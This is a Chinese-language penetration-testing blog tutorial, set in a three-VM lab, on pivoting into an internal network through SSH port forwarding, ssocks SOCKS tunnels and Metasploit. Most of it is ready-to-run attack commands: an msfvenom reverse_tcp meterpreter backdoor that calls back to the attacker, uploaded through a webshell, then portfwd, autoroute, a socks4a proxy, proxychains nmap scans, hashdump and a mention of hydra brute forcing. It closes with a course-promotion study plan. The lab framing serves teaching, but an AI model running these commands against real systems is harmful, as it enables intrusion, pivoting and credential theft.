内网基础-隧道技术、内网穿透(SSH隧道、Socket隧道、跨路由扫描)

文章目录

  • ​环境搭建​​

  • ​SSH隧道​​

  • ​正向连接​​

  • ​反向隧道​​

  • ​sockets代理​​

  • ​MSF端口映射​​

  • ​Socket隧道​​

  • ​ssocks​​

  • ​反向代理​​

  • ​1.建立隧道​​

  • ​2.开启代理​​

  • ​正向代理​​

  • ​扫描内网​​

  • ​MSF跨路由扫描​​

  • ​简单收集信息​​

  • ​增加路由​​

  • ​MSF其他模块​​

  • ​推荐阅读​​

环境搭建

内网基础-隧道技术、内网穿透(SSH隧道、Socket隧道、跨路由扫描)_bash_02

分别是三个虚拟机(我这里用的两个ubuntu,一个kali)

因为web服务器有两个ip所以需要添加一个网卡,然后设置LAN区段

注:一开始lan区段是空的,手动添加一个就行

内网基础-隧道技术、内网穿透(SSH隧道、Socket隧道、跨路由扫描)_隧道技术_03

数据库服务器同样将网卡模式设置为LAN网段

分别进入web服务器虚拟机和数据库服务器虚拟机,将IPV4设置为手动

内网基础-隧道技术、内网穿透(SSH隧道、Socket隧道、跨路由扫描)_提权_04

手动设置IP地址,子网掩码,网关为LAN网段,设置完毕后,ifconfig查看,如果没有改变,手动断开网络连接重连

ifconfig效果:

web服务器:

内网基础-隧道技术、内网穿透(SSH隧道、Socket隧道、跨路由扫描)_bash_05

数据库服务器:

内网基础-隧道技术、内网穿透(SSH隧道、Socket隧道、跨路由扫描)_bash_06

kali:

内网基础-隧道技术、内网穿透(SSH隧道、Socket隧道、跨路由扫描)_提权_07

注:之后的实验均采用此拓扑结构(IP稍有不同)

所有图中正确的网关为:192.168.179.2

SSH隧道

内网基础-隧道技术、内网穿透(SSH隧道、Socket隧道、跨路由扫描)_bash_08

这是整个网络的拓扑(web服务器已经被拿下),分析下可以得知

  • 内网WEB服务器有公私网双IP
  • 攻击者和web服务器处于同一网络(192),可以联通,攻击者(192段)和数据库服务器不可以联通(10段)
  • web服务器和数据库服务器可以联通(10段)

所以现在的目的就是通过web服务器建立隧道,使攻击者可以联通数据库服务器

正向连接

远程侦听端口,访问转发到本机主机指定端口。在web服务器上执行ssh命令

ssh –CNfL 0.0.0.0:7777:10.10.10.128:80 web@127.0.0.1  
\# 命令解析:  
ssh –CNfL <listen ip> <listen posrt> :<remote ip>:<remote port> WebServerUser(跳板机用户)@<ssh server> -p <ssh server port>  
\-C 压缩传输  
\-f 将SSH传输转入后台执行  
\-N 建立静默连接  
\-g 允许远程主机连接本地用于转发的端口  
\-L 本地端口转发

运行命令,输入跳板机的ssh登陆密码,就可以了

内网基础-隧道技术、内网穿透(SSH隧道、Socket隧道、跨路由扫描)_bash_09

映射成功后,攻击者使用浏览器访问web服务器(192.168.0.144)的7777端口,访问结果就是数据服务器的80端口的内容

反向隧道

1.web服务器执行以下命令:  
ssh –qTfnN –R 2222:127.0.0.1:22  root@192.168.0.115  
\# 命令解析:  
ssh -qTfnN -R port:host:hostport  remoteuser@remote\_ip  
将本地22端口映射到攻击者的2222端口,执行之后需要输入remoteuser的密码  
  
2.攻击者执行以下命令:  
(注意要开启ssh服务,开启后执行以下操作)  
ssh –p 2222 web@127.0.0.1  
\# 命令解析:  
连接端口

内网基础-隧道技术、内网穿透(SSH隧道、Socket隧道、跨路由扫描)_网络安全_10

反向隧道类似于反弹shell,将web服务器的ssh端口映射,对于Windows服务器可以映射3389端口(RDP)

ssh -CfNg -R 11111:192.168.160.139:3389 root@192.168.160.140

kali上通过rdesktop连接本地的11111端口

rdesktop 127.0.0.1:11111

sockets代理

ssh -D '\[::\]:1080' JumpHost
SSH -qTfnN -D port remotehost

两种方法都没有成功

MSF端口映射

使用msf来完成正向连接和反向连接,原理都是一样的,拓扑还是之前的,不过这次web服务器是一个winserver

首先去拿shell

使用msf生成后门

msfvenom  -p windows/meterpreter/reverse\_tcp lhost=192.168.0.115  lport=12345 -f exe >/var/www/html/ss.exe

kali监听对应端口

use exploit/multi/handler  
set payload  windows/meterpreter/reverse\_tcp  
set lhost 192.168.0.115  
set lport 12345  
exploit

端口映射

在winserver执行exe文件后拿到shell,在meterpreter中执行命令映射端口

portfwd add -L 192.168.0.115 -l 2020 -r 10.10.10.128 -p 80   
  
\-L localhost  
\-l localport  
\-r remote ip  
\-p remote port

内网基础-隧道技术、内网穿透(SSH隧道、Socket隧道、跨路由扫描)_bash_11

直接将数据库服务器的80端口映射到了kali的2020端口,直接浏览器访问 http://192.168.0.115:2020 端口即可

转发端口

\# meterpreter  
portfwd add -l 5555 -p 3389 -r 192.168.0.144  
\-l localport  
\-r remote ip  
\-p remote port  
  
rdesktop 127.1.1.0:5555

内网基础-隧道技术、内网穿透(SSH隧道、Socket隧道、跨路由扫描)_隧道技术_12

其他命令

查看列表

portfwd list

清空列表

portfwd flush

Socket隧道

拓扑

内网基础-隧道技术、内网穿透(SSH隧道、Socket隧道、跨路由扫描)_bash_02

ssocks

sSocks是一个socks代理工具套装,可用来开启socks代理服务

下载连接:http://sourceforge.net/projects/ssocks

web服务器和kali都需要安装这款工具才能使用

下载之后进行编译,可以选择先下载到kali编译之后上传到web服务器,也可以直接在web服务器下载编译

./configure && make

内网基础-隧道技术、内网穿透(SSH隧道、Socket隧道、跨路由扫描)_网络安全_14

src目录中存放了编译好的文件

内网基础-隧道技术、内网穿透(SSH隧道、Socket隧道、跨路由扫描)_隧道技术_15

反向代理

将远程计算机作为socks代理服务端,反弹回本地,方便内网的渗透测试

1.建立隧道

kali端:

./rcsocks -l 1088 -p 1080 -vv  
  
\-vv 获取详细信息  
等待远程Socks5服务器访问本地1080端口,创建端口1080与本地端口1088的连接通道,将本地的1088端口的流量转发到1080端口

内网基础-隧道技术、内网穿透(SSH隧道、Socket隧道、跨路由扫描)_bash_16

web服务器端:

./rssocks -vv -s 192.168.179.128:1080  
#接收192.168.179.128:1080端口的流量

输入命令后通道就建立完毕了

2.开启代理

proxychains代理链是Linux下一款代理设置工具,kali中默认安装,ubuntu需要使用命令​​apt-get install proxychains​​安装

kali端修改配置文件:

/etc/proxychains.conf

注释socks4添加socks5(注意是socks5下图有误)

内网基础-隧道技术、内网穿透(SSH隧道、Socket隧道、跨路由扫描)_bash_17

测试

proxychains ssh 127.0.0.1

输入密码连接后,成功连接ssh,查看本机ip

内网基础-隧道技术、内网穿透(SSH隧道、Socket隧道、跨路由扫描)_网络安全_18

内网基础-隧道技术、内网穿透(SSH隧道、Socket隧道、跨路由扫描)_提权_19

使用firefox

proxychains firefox 10.0.0.2

内网基础-隧道技术、内网穿透(SSH隧道、Socket隧道、跨路由扫描)_隧道技术_20

我这边是经过了多次测试才成功,可以先试一下ssh再curl,由于Ssocks不稳定,所以不建议使用

内网基础-隧道技术、内网穿透(SSH隧道、Socket隧道、跨路由扫描)_安全_21

正向代理

web服务器如下命令创建代理并监听192.168.179.147(自己的IP)

./ssocksd --bind 192.168.179.147 --port 6020

在攻击主机编辑proxychains代理配置文件,添加代理配置信息:socks5 192.168.179.147 6020

vi /etc/proxychains.conf

执行如下命令,连接内网服务器,查看ip得知代理成功。

1proxychains ssh 127.0.0.1
扫描内网

用kali里边的nmap扫描

proxychains nmap -Pn -sT 10.0.0.2

内网基础-隧道技术、内网穿透(SSH隧道、Socket隧道、跨路由扫描)_隧道技术_22

MSF跨路由扫描

内网基础-隧道技术、内网穿透(SSH隧道、Socket隧道、跨路由扫描)_隧道技术_23

在Kali生成后门文件

msfvenom  -p windows/meterpreter/reverse\_tcp lhost=192.168.179.128  lport=12345 -f exe >/var/www/html/s.exe

生成完毕,通过webshell将文件上传至win服务器

kali进入msf,开启监听

use exploit/multi/handler  
set payload  windows/meterpreter/reverse\_tcp  
set lhost 192.168.179.128  
set lport 12345  
exploit

等win服务器那边点击了exe文件,这边就上线了

内网基础-隧道技术、内网穿透(SSH隧道、Socket隧道、跨路由扫描)_网络安全_24

简单收集信息
  • 查看当前用户
getuid

内网基础-隧道技术、内网穿透(SSH隧道、Socket隧道、跨路由扫描)_隧道技术_25

  • 查看网卡信息
ifconfig

内网基础-隧道技术、内网穿透(SSH隧道、Socket隧道、跨路由扫描)_网络安全_26

  • 查看路由信息
run get\_local\_subnets

内网基础-隧道技术、内网穿透(SSH隧道、Socket隧道、跨路由扫描)_隧道技术_27

run autoroute -p

内网基础-隧道技术、内网穿透(SSH隧道、Socket隧道、跨路由扫描)_网络安全_28

发现没有路由,接下来使用命令添加路由

增加路由
run autoroute -s 10.0.0.0/24  
run autoroute -p

内网基础-隧道技术、内网穿透(SSH隧道、Socket隧道、跨路由扫描)_隧道技术_29

这样的话就添加了一条路由,但是仅这样是不行的,还有添加代理

background 之后使用 socks4a 模块

use auxiliary/server/socks4a  
set SRVPORT 10044

内网基础-隧道技术、内网穿透(SSH隧道、Socket隧道、跨路由扫描)_bash_30

修改配置文件

vi /etc/prxoychains.conf

注释掉原来的,添加一条新的

socks4 192.168.179.128 10044

内网基础-隧道技术、内网穿透(SSH隧道、Socket隧道、跨路由扫描)_隧道技术_31

这样的话路由就添加完成了

可以使用nmap对10.0.0.2进行端口扫描

proxychains nmap -sT -Pn 10.0.0.2

内网基础-隧道技术、内网穿透(SSH隧道、Socket隧道、跨路由扫描)_隧道技术_32

也可以用hydra进行密码爆破

MSF其他模块
  • metasploit的主机发现模块
    use auxiliary/scanner/discover/arp_sweep
  • hash收集
    run hashdump

接下来我将给各位同学划分一张学习计划表!

学习计划

那么问题又来了,作为萌新小白,我应该先学什么,再学什么?
既然你都问的这么直白了,我就告诉你,零基础应该从什么开始学起:

阶段一:初级网络安全工程师

接下来我将给大家安排一个为期1个月的网络安全初级计划,当你学完后,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web渗透、安全服务、安全分析等岗位;其中,如果你等保模块学的好,还可以从事等保工程师。

综合薪资区间6k~15k

1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(1周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(1周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(1周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

那么,到此为止,已经耗时1个月左右。你已经成功成为了一名“脚本小子”。那么你还想接着往下探索吗?

阶段二:中级or高级网络安全工程师(看自己能力)

综合薪资区间15k~30k

7、脚本编程学习(4周)
在网络安全领域。是否具备编程能力是“脚本小子”和真正网络安全工程师的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力。

零基础入门的同学,我建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习
搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP,IDE强烈推荐Sublime;

Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,没必要看完

用Python编写漏洞的exp,然后写一个简单的网络爬虫

PHP基本语法学习并书写一个简单的博客系统

熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选)

了解Bootstrap的布局或者CSS。

阶段三:顶级网络安全工程师

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

学习资料分享

当然,只给予计划不给予学习资料的行为无异于耍流氓,这里给大家整理了一份【282G】的网络安全工程师从入门到精通的学习资料包,可点击下方二维码链接领取哦。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值